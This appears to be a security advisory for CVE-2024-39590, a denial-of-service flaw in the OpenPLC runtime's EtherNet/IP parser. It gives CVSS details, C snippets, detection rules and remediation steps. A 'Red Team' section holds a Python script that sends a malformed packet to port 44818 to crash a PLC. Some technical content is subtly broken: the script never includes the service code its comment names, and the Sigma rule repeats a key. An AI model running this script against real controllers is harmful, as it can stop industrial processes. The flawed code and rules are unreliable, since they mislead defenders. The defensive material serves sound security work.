CVE-2024-39590

Executive Summary

CVE-2024-39590 is a high-severity denial-of-service (DoS) vulnerability affecting the OpenPLC Runtime EtherNet/IP parser, specifically within the Protected_Logical_Write_Reply function. The flaw arises from multiple invalid pointer dereference conditions when processing specially crafted EtherNet/IP requests. An unauthenticated attacker can exploit this remotely to crash the PLC runtime, disrupting industrial control processes. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the critical nature of PLCs in OT environments, this vulnerability poses a significant risk to availability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenPLC runtime binary, which is typically deployed as a compiled C application in industrial environments. Supply chain risks include the use of unpatched OpenPLC versions in critical infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (HIGH)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no human involvement.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – full denial of service.

Threat Level: High. The vulnerability allows remote unauthenticated attackers to crash the OpenPLC runtime, halting industrial control logic. In OT environments, this can lead to production downtime, safety risks, or physical damage.

Deep Dive & Mechanics

The vulnerability resides in the EtherNet/IP parser of OpenPLC_v3 (commit 16bf8bac1a36d95b73e7b8722d0edb8b9c5bb56a). The Protected_Logical_Write_Reply function handles incoming EtherNet/IP requests and constructs reply packets. Due to improper validation of pointer arithmetic and memory boundaries, an attacker can send a crafted EtherNet/IP packet that causes the function to dereference an invalid pointer. This leads to a segmentation fault or memory corruption, crashing the runtime process.

Root Cause: The parser does not validate the length or offset fields in the EtherNet/IP request before using them to calculate memory addresses. By sending a request with manipulated length values, the attacker forces the function to read or write to an invalid memory location, triggering a null pointer or out-of-bounds dereference.

Attack Flow:

1. Attacker sends a specially crafted EtherNet/IP packet to the OpenPLC runtime (default port 44818).
2. The packet targets the Protected_Logical_Write_Reply service (Service Code 0x4C).
3. The parser processes the packet without proper bounds checking.
4. An invalid pointer dereference occurs, causing the runtime to crash.
5. The PLC stops executing control logic, resulting in a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (OpenPLC_v3 commit 16bf8bac1a36d95b73e7b8722d0edb8b9c5bb56a):

// Simplified vulnerable snippet from Protected_Logical_Write_Reply
void Protected_Logical_Write_Reply(uint8_t *request, uint16_t request_len) {
    uint8_t *data_ptr = request + 10; // offset without validation
    uint16_t data_len = *(uint16_t *)(request + 8); // length from packet
    // No bounds check on data_ptr + data_len
    memcpy(reply_buffer, data_ptr, data_len); // potential invalid dereference
}

Patched Code (Hypothetical fix):

void Protected_Logical_Write_Reply(uint8_t *request, uint16_t request_len) {
    if (request_len < 12) return; // minimum length check
    uint16_t data_len = *(uint16_t *)(request + 8);
    if (data_len > request_len - 10) return; // bounds check
    uint8_t *data_ptr = request + 10;
    memcpy(reply_buffer, data_ptr, data_len);
}

Patch Status: UNKNOWN. No official patch has been released by OpenPLC. Users should monitor the OpenPLC GitHub repository for updates.

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be developed using Python and the scapy library to craft malicious EtherNet/IP packets.

Lab Setup:

• Target: OpenPLC_v3 runtime (commit 16bf8bac1a36d95b73e7b8722d0edb8b9c5bb56a) running on a Linux VM.
• Attacker: Kali Linux with Python 3 and scapy.

Exploit Script (Conceptual):

#!/usr/bin/env python3
import socket
import struct

def exploit(target_ip, target_port=44818):
    # Craft EtherNet/IP packet with invalid length
    # Service Code: 0x4C (Protected_Logical_Write_Reply)
    # Malformed length field to trigger invalid pointer dereference
    packet = b'\x00' * 8  # EtherNet/IP header
    packet += struct.pack('<H', 0xFFFF)  # Invalid length (65535)
    packet += b'A' * 100  # Payload
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(packet)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage: Run the script against a vulnerable OpenPLC instance. The runtime will crash, causing a DoS.

Blue Team (Detection & Defense)

Detection:

• Monitor EtherNet/IP traffic for malformed packets with abnormal length fields.
• Use network intrusion detection systems (NIDS) to alert on service code 0x4C with invalid parameters.
• Implement process monitoring on the PLC host to detect crashes of the OpenPLC runtime.

Defense:

• Apply network segmentation to restrict access to PLCs (e.g., use firewalls to limit EtherNet/IP traffic to trusted sources).
• Deploy a virtual patch using a Web Application Firewall (WAF) or NIDS to drop packets with suspicious length values.
• Upgrade to a patched version of OpenPLC once available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • EtherNet/IP packets with service code 0x4C and abnormally large or zero length fields.
  • Repeated connection attempts to port 44818 from untrusted IPs.
• Host IOCs:
  • OpenPLC runtime process crash logs (segmentation fault).
  • Core dump files in /var/tmp/ or /tmp/.
• File IOCs:
  • Modified OpenPLC binary (if attacker replaces with backdoored version).

Detection Engineering

YARA Rule

rule CVE_2024_39590_OpenPLC_DoS {
    meta:
        description = "Detects malicious EtherNet/IP packets targeting CVE-2024-39590"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39590"
    strings:
        $service_code = { 4C } // Protected_Logical_Write_Reply
        $invalid_length = { FF FF } // Potential malformed length
    condition:
        $service_code at 0 and $invalid_length at 8
}

Sigma Rule

title: CVE-2024-39590 OpenPLC EtherNet/IP DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects EtherNet/IP packets with malformed length fields targeting OpenPLC
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 44818
        app_protocol: 'etherip'
        payload|contains: '4C' # Service code
        payload|contains: 'FFFF' # Invalid length
    condition: selection
falsepositives:
    - Legitimate but rare malformed packets
level: high

Suricata Rule

alert tcp any any -> any 44818 (msg:"CVE-2024-39590 OpenPLC EtherNet/IP DoS Attempt"; flow:to_server,established; content:"|4C|"; offset:0; depth:1; content:"|FF FF|"; offset:8; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate OpenPLC devices on a dedicated OT network segment.
   • Block EtherNet/IP traffic (port 44818) from untrusted sources at the firewall.
   • Monitor for crashes and restart the runtime automatically using a watchdog script.

2. Long-term Fix:

   • Apply the official patch once released by OpenPLC (monitor GitHub).
   • If patching is not possible, implement a virtual patch using a NIDS to drop malformed packets.

3. Compensating Controls:

   • Use application-level whitelisting to allow only known EtherNet/IP clients.
   • Deploy an OT-specific IDS/IPS (e.g., Nozomi, Dragos) to detect anomalous EtherNet/IP traffic.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert